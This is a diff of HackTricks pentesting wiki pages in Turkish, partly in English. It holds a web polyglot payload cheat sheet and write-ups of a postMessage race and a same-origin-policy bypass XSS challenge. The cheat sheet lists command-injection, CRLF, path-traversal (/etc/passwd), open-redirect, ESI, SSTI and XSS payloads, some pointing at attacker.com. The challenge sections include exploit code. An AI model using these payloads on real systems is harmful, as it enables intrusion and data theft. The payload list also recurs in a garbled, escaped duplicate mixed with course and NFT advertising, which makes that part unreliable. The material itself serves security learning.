* Şifre/**hassas** bilgi **formlarında** **otomatik tamamlama** etkin mi kontrol edin: `<input autocomplete="false"`
* Giriş işlevini kötüye kullanarak **kullanıcı adlarını sıralayıp sıralayamayacağınızı** kontrol edin.
* Şifre/**hassas** bilgiler **formları** **girişi** için **otomatik tamamlama** aktif mi kontrol edin: `<input autocomplete="false"`
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **siber güvenlik şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya beni **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,34 +1,69 @@
# Web Vulns List
## Web Vulns List
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını yapmak ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
\`\`\`python \{{7\*7\}}\[7\*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /\*$(sleep 5)\`sleep 5\`\`\*/-sleep(5)-'/\*$(sleep 5)\`sleep 5\` #\*/-sleep(5)||'"||sleep(5)||"/\*\`\*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E\
<details>
<summary>HackTricks'i Destekleyin</summary>
## THIS IS AND INJECTED TITLE
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
/etc/passwd ../../../../../../etc/hosts ..\\..\\..\\..\\..\\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\\..\\..\\..\\..\\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\\w\*)+$ (\[a-zA-Z]+)\*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> \{{7\*7\}}${7\*7}<%= 7\*7 %>$\{{7\*7\}}#{7\*7}$\{{<%\[%'"\}}%\ " onclick=alert() a=" '">![](https://github.com/carlospolop/hacktricks/blob/tr/pentesting-web/pocs-and-polygloths-cheatsheet/x) javascript:alert() javascript:"/\*'/\*\`/\*--> -->'"/>
&#x20;">>![](https://github.com/carlospolop/hacktricks/blob/tr/pentesting-web/pocs-and-polygloths-cheatsheet/x)" >\<script>prompt(1)\</script>@gmail.com\<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" >\</script>\<script>alert(1)\</script>">\<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">\<img src="http: //i.imgur.com/P8mL8.jpg">\
" onclick=alert(1)//\<button onclick=alert(1)//> \*/ alert(1)//\
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >\</SCRIPT>">'>\<SCRIPT>alert(String.fromCharCode(88,83,83)) \</SCRIPT>\
\`\`\`\
\<details>**AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin** [**htARTE (HackTricks AWS Kırmızı Takım Uzmanı)**](https://training.hacktricks.xyz/courses/arte)**!**
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# PostMessage'yi çalmak için ana sayfayı engelleme
# Ana sayfayı engelleyerek postmessage çalmak
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Iframe'lerle RC Kazanma
## Iframe'lerle RC'leri Kazanmak
Bu [**Terjanq yazısına**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) göre, null kökenlerinden oluşturulan blob belgeleri güvenlik avantajı için izole edilir, bu da demektir ki eğer ana sayfayı meşgul tutarsanız, iframe sayfası çalıştırılacak.
Bu [**Terjanq yazısı**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)'na göre, null kökenlerden oluşturulan blob belgeleri güvenlik faydaları için izole edilmiştir, bu da demektir ki, ana sayfayı meşgul tutarsanız, iframe sayfası çalıştırılacaktır.
Temel olarak, bu zorlukta **izole edilmiş bir iframe çalıştırılır** ve hemen **ardından** yüklendikten sonra **ana** sayfa **bayrakla bir post** mesajı gönderecektir.\
Ancak, bu postmessage iletişimi **XSS'ye karşı savunmasızdır** (**iframe** JS kodunu çalıştırabilir).
Temelde bu zorlukta bir **izole iframe çalıştırılmaktadır** ve hemen **yüklenmesinden sonra** **ebeveyn** sayfa **bir post** mesajı **gönderecektir**.\
Ancak, bu postmessage iletişimi **XSS'e karşı savunmasızdır** (iframe JS kodu çalıştırabilir).
Bu nedenle, saldırganın amacı, **ebeveynin iframe'i oluşturmasına izin vermek**, ancak **önce** **ebeveyn** sayfanın **duyarlı veriyi (bayrak)** **meşgul tutmak** ve **payload'ı iframe'e göndermek**. **Ebeveyn meşgulken**, **iframe payload'ı** çalıştırır ve **ebeveyn postmessage mesajını dinler ve bayrağı sızdırır**.\
Sonunda, iframe payload'ı çalıştırdı ve ebeveyn sayfa meşgul olmaktan çıktı, bu yüzden bayrağı gönderir ve payload onu sızdırır.
Bu nedenle, saldırganın amacı **ebeveynin iframe oluşturmasına izin vermek**, ancak **önce** **ebeveyn** sayfanın **hassas verileri** (**flag**) **göndermesini engelleyip** **meşgul tutmak** ve **payload'ı iframe'e göndermektir**. **Ebeveyn meşgulken**, **iframe payload'ı çalıştırır**; bu, **ebeveyn postmessage mesajını dinleyecek ve flag'i sızdıracak** bir JS olacaktır.\
Sonunda, iframe payload'ı çalıştırır ve ebeveyn sayfa meşgul olmayı bırakır, böylece flag'i gönderir ve payload onu sızdırır.
Ancak, **ebeveyn iframe'i oluşturduktan hemen sonra meşgul olmasını ve iframe'in duyarlı veriyi göndermeye hazır olana kadar meşgul olmasını** nasıl sağlayabilirsiniz? Temel olarak, ebeveynin **yürütmesini sağlayabileceğiniz async bir eylem** bulmanız gerekiyor. Örneğin, bu zorlukta ebeveyn şu şekilde **postmessage'ları dinliyordu**:
Ama ebeveyni **iframe'i oluşturduktan hemen sonra ve sadece iframe'in hassas verileri göndermeye hazır olmasını beklerken meşgul hale nasıl getirebilirsiniz?** Temelde, ebeveynin **çalıştırabileceği** bir **async** **hareket** bulmanız gerekiyor. Örneğin, bu zorlukta ebeveyn **postmessages** dinliyordu:
```javascript
window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') {
@ -30,21 +33,9 @@ $("#previewModal").modal();
}
});
```
Bu durumda, postMessage ile gönderilen bir **büyük tamsayıyı** karşılaştırmada **dizeye dönüştürmek** mümkündü ve bu işlem biraz zaman alacaktı:
bu nedenle, o karşılaştırmada **string'e dönüştürülecek bir postmessage'da büyük bir tam sayı göndermek** mümkün oldu, bu da biraz zaman alacaktır:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
Ve **postmessage**'i **göndermek** için, **iframe** oluşturulduktan hemen sonra, ebeveyninden veri almak için hazır hale gelmeden önce **setTimeout**'in milisaniyeleriyle oynamanız gerekecektir.
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
</details>
Ve tam olarak doğru olmak için, o **postmessage**'i **iframe** oluşturulduktan hemen sonra ama ana sayfadan veri almaya hazır olmadan **göndermeniz** gerekecek, bu yüzden bir `setTimeout`'ın milisaniyeleriyle **oynamanız** gerekecek.

View file

@ -1,20 +1,23 @@
# Iframe'lerle SOP Geçme - 1
# Bypass SOP with Iframes - 1
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuzu**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## SOP-1'de Iframe'ler
[**NDevTK**](https://github.com/NDevTK) ve [**Terjanq**](https://github.com/terjanq) tarafından oluşturulan bu [**zorlukta**](https://github.com/terjanq/same-origin-xss) kodlanmış bir XSS'i sömürmeniz gerekmektedir.
Bu [**challenge**](https://github.com/terjanq/same-origin-xss) [**NDevTK**](https://github.com/NDevTK) ve [**Terjanq**](https://github.com/terjanq) tarafından oluşturulmuştur. Burada, kodlanmış bir XSS'i istismar etmeniz gerekiyor.
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
@ -25,26 +28,26 @@ renderContainer.innerHTML = data.body;
}
}
```
Ana sorun, [**ana sayfa**](https://so-xss.terjanq.me)'nın `data.body`'yi göndermek için DomPurify kullandığıdır, bu yüzden kendi html verilerinizi o koda göndermek için `e.origin !== window.origin`'ı **atlamalısınız**.
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
Önerdikleri çözümü görelim.
Let's see the solution they propose.
### SOP atlatma 1 (e.origin === null)
### SOP bypass 1 (e.origin === null)
`//example.org` bir **sandboxed iframe** içine yerleştirildiğinde, sayfanın **kökeni** **`null`** olacaktır, yani **`window.origin === null`** olur. Bu yüzden `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` ile iframe yerleştirerek **`null` kökenini** zorlayabiliriz.
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
Eğer sayfa **yerleştirilebilir** olsaydı, bu korumayı bu şekilde atlayabilirdiniz (çerezlerin de `SameSite=None` olarak ayarlanması gerekebilir).
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
### SOP atlatma 2 (window.origin === null)
### SOP bypass 2 (window.origin === null)
Daha az bilinen bir gerçek, **sandbox değeri `allow-popups` ayarlandığında**, **açılan popup**'ın tüm **sandbox özelliklerini miras alacağıdır**, ancak `allow-popups-to-escape-sandbox` ayarlanmamışsa.\
Bu nedenle, **null kökenli** bir sayfadan **popup** açmak, popup içindeki **`window.origin`**'in de **`null`** olmasını sağlar.
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
### Sorunun Çözümü
### Challenge Solution
Bu nedenle, bu sorun için, **bir iframe oluşturabilir**, **zayıf XSS kodu işleyicisi** (`/iframe.php`) olan bir sayfayı **popup** olarak açabilirsiniz, çünkü hem `window.origin === e.origin` hem de ikisi de `null` olduğu için XSS'yi istismar edecek bir **payload gönderebilirsiniz**.
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
Bu **payload**, **tanımlayıcıyı** alacak ve bir **XSS**'yi **üst sayfaya** (popup'ı açan sayfa) **geri gönderecek**, **ki** bu da **zayıf** `/iframe.php`'ye **konum değiştirecektir**. Tanımlayıcı bilindiği için, `window.origin === e.origin` koşulu sağlanmasa da (hatırlayın, köken, **`null`** olan iframe'den gelen popup'tır) `data.identifier === identifier` olacaktır. Ardından, **XSS tekrar tetiklenecektir**, bu sefer doğru kökende.
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
```html
<body>
<script>
@ -79,14 +82,17 @@ document.body.appendChild(f);
</script>
</body>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
